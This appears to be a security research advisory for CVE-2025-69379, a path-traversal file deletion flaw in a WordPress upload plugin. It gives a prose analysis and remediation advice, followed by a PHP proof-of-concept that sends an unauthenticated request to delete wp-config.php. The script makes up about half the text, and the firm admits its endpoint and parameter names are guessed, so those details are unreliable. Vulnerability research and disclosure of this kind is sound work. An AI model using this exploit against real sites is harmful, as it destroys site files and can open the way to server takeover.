Atomic Edge analysis of CVE-2025-69379 (metadata-based):
This vulnerability is an unauthenticated arbitrary file deletion flaw in the WordPress Upload Files Anywhere plugin, affecting all versions up to and including 2.8. The vulnerability stems from a path traversal weakness in a plugin function, allowing attackers to delete any file on the server. The CVSS score of 9.1 reflects its high severity due to the network attack vector and no required privileges.
Atomic Edge research infers the root cause is improper path validation, as classified by CWE-22. The vulnerability description indicates insufficient file path validation in a function. This suggests the plugin likely accepts a user-controlled parameter, such as a file path, and passes it directly to a file deletion operation like `unlink()` without properly restricting it to an intended directory. The lack of authentication or nonce verification on the affected endpoint is also inferred from the description stating the attack is unauthenticated.
Exploitation likely targets a WordPress AJAX handler or a direct plugin file endpoint. A typical attack vector would be a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to a plugin-specific hook, such as `wp_upload_files_anywhere_delete`. The payload would contain a parameter, perhaps named `file` or `path`, with a relative path traversal sequence like `../../../wp-config.php`. Attackers send this request without any authentication cookies or nonce tokens.
Remediation requires implementing proper path validation and access controls. The plugin must validate that user-supplied file paths are contained within a permitted directory, such as the plugin’s own uploads folder. This can be achieved by using `realpath()` and checking if the resolved path starts with the intended base directory. The fix must also add a capability check to restrict the function to authorized users and implement nonce verification to prevent CSRF attacks.
Successful exploitation leads to complete file deletion on the server. Attackers can delete critical WordPress files like `wp-config.php` to cause a site outage and potentially trigger a reinstallation process that enables remote code execution. Deleting other system files can disrupt server operations, cause data loss, and facilitate further attacks by removing security controls or logs.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69379 - Upload Files Anywhere <= 2.8 - Unauthenticated Arbitrary File Deletion
<?php
/**
* Proof of Concept for CVE-2025-69379.
* This script attempts to exploit an arbitrary file deletion vulnerability.
* The exact endpoint and parameter names are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
* 2. The AJAX action hook contains the plugin slug, e.g., 'wp_upload_files_anywhere_delete'.
* 3. A parameter like 'file' or 'path' is vulnerable to path traversal.
* 4. No authentication or nonce is required.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Construct the likely AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Inferred vulnerable action name based on plugin slug 'wp-upload-files-anywhere'
// WordPress AJAX actions often prefix with 'wp_ajax_' for logged-in and 'wp_ajax_nopriv_' for unauthenticated hooks.
// The public-facing action parameter typically omits this prefix.
$inferred_action = 'wp_upload_files_anywhere_delete';
// Target file to delete. Path traversal escapes the plugin's intended directory.
$target_file = '../../../wp-config.php'; // A high-impact target for RCE via site reset.
// Prepare POST data
$post_data = array(
'action' => $inferred_action,
'file' => $target_file, // Primary inferred parameter name
// Alternative parameter names considered: 'path', 'filename', 'file_path'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "[*] Target: " . $target_url . "n";
echo "[*] Sent POST to: " . $ajax_url . "n";
echo "[*] Action parameter: " . $inferred_action . "n";
echo "[*] File parameter: " . $target_file . "n";
echo "[*] HTTP Response Code: " . $http_code . "n";
if ($response !== false) {
echo "[*] Response Body (first 500 chars): " . substr($response, 0, 500) . "n";
}
echo "n[!] Note: This PoC is based on inferred patterns. Actual parameter names may differ.n";
echo "[!] Successful exploitation may return a 200 OK with a success message or a WordPress error.n";
echo "[!] Verify file deletion by checking site availability or accessing wp-config.php directly.n";
?>
